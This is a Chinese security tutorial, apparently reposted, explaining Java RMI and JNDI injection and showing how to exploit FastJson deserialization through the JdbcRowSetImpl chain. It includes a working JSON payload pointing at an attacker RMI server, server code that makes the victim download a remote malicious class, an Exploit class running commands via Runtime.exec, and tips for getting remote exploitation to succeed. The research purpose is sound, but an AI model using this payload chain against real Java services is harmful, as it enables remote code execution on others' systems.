深入理解JNDI注入与Java反序列化漏洞利用

Posted 安全引擎

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了深入理解JNDI注入与Java反序列化漏洞利用相关的知识,希望对你有一定的参考价值。

0. 前言


在Java反序列化漏洞挖掘或利用的时候经常会遇到RMI、JNDI、JRMP这些概念,其中RMI是一个基于序列化的Java远程方法调用机制。作为一个常见的反序列化入口,它和反序列化漏洞有着千丝万缕的联系。除了直接攻击RMI服务接口外(比如:CVE-2017-3241),我们在构造反序列化漏洞利用时也可以结合RMI方便的实现远程代码执行。


在2016年的BlackHat上,@pwntester分享了通过JNDI注入进行RCE利用的方法。这一利用方式在2016年的spring-tx.jar反序列化漏洞和2017年FastJson反序列化漏洞利用等多个场景中均有出现。


本文争取简单易懂的介绍一下RMI机制和JNDI注入利用方式,并且以JdbcRowSetImpl利用链和FastJson反序列化漏洞为例,记录真实的远程利用过程中可能遇到的问题和解决,希望能给研究这块的新同学一些参考。


1. 关于RMI


这一节主要介绍一下RMI的调用流程、RMI注册表以及动态加载类的概念。


1.1 远程方法调用


远程方法调用是分布式编程中的一个基本思想。实现远程方法调用的技术有很多,比如:CORBA、WebService,这两种都是独立于编程语言的。而RMI(Remote Method Invocation)是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法。RMI依赖的通信协议为JRMP(Java Remote Message Protocol ,Java 远程消息交换协议),该协议为Java定制,要求服务端与客户端都为Java编写。这个协议就像HTTP协议一样,规定了客户端和服务端通信要满足的规范。在RMI中对象是通过序列化方式进行编码传输的。


1.2 远程对象


使用远程方法调用,必然会涉及参数的传递和执行结果的返回。参数或者返回值可以是基本数据类型,当然也有可能是对象的引用。所以这些需要被传输的对象必须可以被序列化,这要求相应的类必须实现 java.io.Serializable 接口,并且客户端的serialVersionUID字段要与服务器端保持一致。


任何可以被远程调用方法的对象必须实现 java.rmi.Remote 接口,远程对象的实现类必须继承UnicastRemoteObject类。如果不继承UnicastRemoteObject类,则需要手工初始化远程对象,在远程对象的构造方法的调用UnicastRemoteObject.exportObject()静态方法。如下:

public class HelloImpl implements IHello {    protected HelloImpl() throws RemoteException {        UnicastRemoteObject.exportObject(this, 0);    }    @Override    public String sayHello(String name) {        System.out.println(name);        return name;    }}

注: IHello是客户端和服务端共用的接口(客户端本地必须有远程对象的接口,不然无法指定要调用的方法,而且其全限定名必须与服务器上的对象完全相同),HelloImpl是一个服务端远程对象,提供了一个sayHello方法供远程调用。它没有继承UnicastRemoteObject类或者实现java.rmi.Remote接口,而是在构造方法中调用了UnicastRemoteObject.exportObject()。


从逻辑上来看,数据是在Client和Server之间横向流动的,但是实际上是从Client到Stub,然后从Skeleton到Server这样纵向流动的。


  1. Server端监听一个端口,这个端口是JVM随机选择的;

  2. Client端可以调用Stub上的方法;

  3. Stub连接到Server端监听的通信端口并提交参数;

  4. 远程Server端上执行具体的方法,并返回结果给Stub;

  5. Stub返回执行结果给Client端,从Client看来就好像是Stub在本地执行了这个方法一样;


那怎么获取Stub呢?


1.3 RMI注册表


Stub的获取方式有很多,常见的方法是调用某个远程服务上的方法,向远程服务获取存根。但是调用远程方法又必须先有远程对象的Stub,所以这里有个死循环问题。JDK提供了一个RMI注册表(RMIRegistry)来解决这个问题。RMIRegistry也是一个远程对象,默认监听在传说中的1099端口上,可以使用代码启动RMIRegistry,也可以使用rmiregistry命令。

要注册远程对象,需要RMI URL和一个远程对象的引用。URI rmi://host:port/name 默认端口为1099

IHello rhello = new HelloImpl();
LocateRegistry.createRegistry(1099);
Naming.bind("rmi://0.0.0.0:1099/hello", rhello);

LocateRegistry.getRegistry()会使用给定的主机和端口等信息本地创建一个Stub对象作为Registry远程对象的代理,从而启动整个远程调用逻辑。服务端应用程序可以向RMI注册表中注册远程对象,然后客户端向RMI注册表查询某个远程对象名称,来获取该远程对象的Stub。


Registry registry = LocateRegistry.getRegistry("192.168.1.110",1099);
IHello rhello = (IHello) registry.lookup("hello");
rhello.sayHello("test");

使用RMI Registry之后,RMI的调用关系是这样的:

深入理解JNDI注入与Java反序列化漏洞利用

所以其实从客户端角度看,服务端应用是有两个端口的,一个是RMI Registry端口(默认为1099),另一个是远程对象的通信端口(随机分配的)。这个通信细节比较重要,真实利用过程中可能会在这里遇到一些坑。


1.4 动态加载类


RMI核心特点之一就是动态类加载,如果当前JVM中没有某个类的定义,它可以从远程URL去下载这个类的class,动态加载的对象class文件可以使用Web服务的方式进行托管。这可以动态的扩展远程应用的功能,RMI注册表上可以动态的加载绑定多个RMI应用。对于客户端而言,服务端返回值也可能是一些子类的对象实例,而客户端并没有这些子类的class文件,如果需要客户端正确调用这些子类中被重写的方法,则同样需要有运行时动态加载额外类的能力。客户端使用了与RMI注册表相同的机制。RMI服务端将URL传递给客户端,客户端通过HTTP请求下载这些类。


这个概念比较重要,JNDI注入的利用方法中也借助了动态加载类的思路。

这里涉及到的角色:客户端、RMI注册表、远程对象服务器、托管class文件的Web服务器可以分别位于不同的主机上:

深入理解JNDI注入与Java反序列化漏洞利用

2. JNDI注入和JdbcRowSetImpl利用链


2.1 关于JNDI


简单来说,JNDI (Java Naming and Directory Interface) 是一组应用程序接口,它为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定位用户、网络、机器、对象和服务等各种资源。比如可以利用JNDI在局域网上定位一台打印机,也可以用JNDI来定位数据库服务或一个远程Java对象。JNDI底层支持RMI远程对象,RMI注册的服务可以通过JNDI接口来访问和调用。


JNDI支持多种命名和目录提供程序(Naming and Directory Providers),RMI注册表服务提供程序(RMI Registry Service Provider)允许通过JNDI应用接口对RMI中注册的远程对象进行访问操作。将RMI服务绑定到JNDI的一个好处是更加透明、统一和松散耦合,RMI客户端直接通过URL来定位一个远程对象,而且该RMI服务可以和包含人员,组织和网络资源等信息的企业目录链接在一起。


深入理解JNDI注入与Java反序列化漏洞利用

JNDI架构


JNDI接口在初始化时,可以将RMI URL作为参数传入,而JNDI注入就出现在客户端的lookup()函数中,如果lookup()的参数可控就可能被攻击。

Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
//com.sun.jndi.rmi.registry.RegistryContextFactory 是RMI Registry Service Provider对应的Factory
env.put(Context.PROVIDER_URL, "rmi://172.16.240.135:8080");
Context ctx = new InitialContext(env);
Object local_obj = ctx.lookup("rmi://172.16.240.135:8080/test");

注:InitialContext 是一个实现了 Context接口的类。使用这个类作为JNDI命名服务的入口点。创建InitialContext 对象需要传入一组属性,参数类型为java.util.Hashtable或其子类之一。


2.2 利用JNDI References进行注入



在JNDI服务中,RMI服务端除了直接绑定远程对象之外,还可以通过References类来绑定一个外部的远程对象(当前名称目录系统之外的对象)。绑定了Reference之后,服务端会先通过Referenceable.getReference()获取绑定对象的引用,并且在目录中保存。当客户端在lookup()查找这个远程对象时,客户端会获取相应的object factory,最终通过factory类将reference转换为具体的对象实例。

整个利用流程如下:


  1. 目标代码中调用了InitialContext.lookup(URI),且URI为用户可控;

  2. 攻击者RMI服务器向目标返回一个Reference对象,Reference对象中指定某个精心构造的Factory类;

  3. 目标在进行lookup()操作时,会动态加载并实例化Factory类,接着调用factory.getObjectInstance()获取外部远程对象实例;

  4. 攻击者可以在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码,达到RCE的效果;


我们跟入lookup()函数的代码中,可以看到JNDI中对Reference类的处理逻辑,最终会调用NamingManager.getObjectInstance():


深入理解JNDI注入与Java反序列化漏洞利用

调用链:

  • -> RegistryContext.decodeObject()

  • -> NamingManager.getObjectInstance()

  • -> factory.getObjectInstance()


Tips:JNDI查找远程对象时InitialContext.lookup(URL)的参数URL可以覆盖一些上下文中的属性,比如:Context.PROVIDER_URL。


Spring框架的spring-tx.jar中的JtaTransactionManager.readObject()中就存在这个问题,当进行对象反序列化的时候,会执行lookup()操作,可以进行JNDI注入。


Matthias Kaiser(@matthias_kaiser)发现com.sun.rowset.JdbcRowSetImpl类的execute()也可以触发JNDI注入利用,调用过程如下:

  • -> JdbcRowSetImpl.execute()

  • -> JdbcRowSetImpl.prepare()

  • -> JdbcRowSetImpl.connect()

  • -> InitialContext.lookup(dataSource)


2.3 FastJson反序列化利用


根据FastJson反序列化漏洞原理,FastJson将JSON字符串反序列化到指定的Java类时,会调用目标类的getter、setter等方法。

JdbcRowSetImpl类的setAutoCommit()会调用connect()函数,connect()函数如下:


private Connection connect() throws SQLException {        if(this.conn != null) {            return this.conn;        } else if(this.getDataSourceName() != null) {            try {                InitialContext var1 = new InitialContext();                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());                return this.getUsername() != null && !this.getUsername().equals("")?var2.getConnection(this.getUsername(), this.getPassword()):var2.getConnection();            } catch (NamingException var3) {                throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());            }        } else {            return this.getUrl() != null?DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()):null;        }}

connect()会调用InitialContext.lookup(dataSourceName),这里的参数dataSourceName是在setter方法setDataSourceName(String name)中设置的。所以在FastJson反序列化漏洞过程中,我们可以控制dataSourceName的值,也就是说满足了JNDI注入利用的条件。利用Payload如下:


{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://hacker_server/xxx","autoCommit":true}

攻击者的服务端需要启动一个RMI Registry,并且绑定一个Reference远程对象,同时设置一个恶意的factory类。

Registry registry = LocateRegistry.createRegistry(1099);
String remote_class_server = "http://192.168.1.200:8080/";
Reference reference = new Reference("Exploit", "Exploit", remote_class_server);//reference的factory class参数指向了一个外部Web服务的地址
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("xxx", referenceWrapper);

同时启动一个WebServer提供Exploit.class下载。恶意代码可以放在构造方法中,也可以放在getObjectInstance()方法中:


public class Exploit implements ObjectFactory {    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {        exec("xterm");        return null;    }    public static String exec(String cmd) {        try {            String sb = "";            BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());            BufferedReader inBr = new BufferedReader(new InputStreamReader(in));            String lineStr;            while ((lineStr = inBr.readLine()) != null)                sb += lineStr + "
";            inBr.close();            in.close();            return sb;        } catch (Exception e) {            return "";        }    }}

3. 远程利用FAQ


网上很多PoC都是在本地测试的,然而在远程利用过程中可能会遇到一些坑,直接会导致利用失败,比如可能会遇到Timeout的错误。


3.1 为什么远程利用会出现Timeout?


使用JNDI注入Payload进行利用时,有时候发现目标确实反连到我们的RMI服务器了,却没有去下载WebServer上的恶意class文件。我们在局域网内使用Kali作为攻击者RMI服务器,复现一下攻击过程,往往会看到类似这样的Timeout的错误提示:

Exception in thread "main" javax.naming.ServiceUnavailableException [Root exception is java.rmi.ConnectException: Connection refused to host: 127.0.1.1; nested exception is:    java.net.ConnectException: Operation timed out]    ...    at fastjsonjndi.Victim.main(Victim.java:23)Caused by: java.rmi.ConnectException: Connection refused to host: 127.0.1.1; nested exception is:    java.net.ConnectException: Operation timed out    at sun.rmi.transport.tcp.TCPEndpoint.newSocket(TCPEndpoint.java:619)    ...    at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:462)    ... 4 more Caused by: java.net.ConnectException: Operation timed out    at java.net.PlainSocketImpl.socketConnect(Native Method)    ...    at sun.rmi.transport.tcp.TCPEndpoint.newSocket(TCPEndpoint.java:613)    ... 9 more

为什么会超时呢?



深入理解JNDI注入与Java反序列化漏洞利用

可以看到,默认情况下kali主机名是解析到 127.0.1.1 了。我们通过抓包可以还原这个通信细节:


深入理解JNDI注入与Java反序列化漏洞利用

将远程对象的定位信息传给客户端


客户端向远程对象的通信端口发起请求


定位到问题解决起来就简单了。可以把/etc/hosts中指向内网IP的记录删除或者指向外网IP,也可以在RMI服务端通过代码明确指定远程对象通信Host IP:

System.setProperty("java.rmi.server.hostname","外网IP");

或者在启动RMI服务时,通过启动参数指定 java.rmi.server.hostname 属性:

-Djava.rmi.server.hostname=服务器真实外网IP

注:本文首发于腾讯安全应急响应中心。

欢迎订阅我的微信公众号



以上是关于深入理解JNDI注入与Java反序列化漏洞利用的主要内容,如果未能解决你的问题,请参考以下文章

Fastjson 反序列化 Jndi 注入利用 JdbcRowSetImpl 链

深入理解PHP Phar反序列化漏洞原理及利用方法

由Typecho 深入理解PHP反序列化漏洞

log4j反序列化漏洞详解及利用

从WebLogic看反序列化漏洞的利用与防御

反序列化漏洞与URLDNS利用链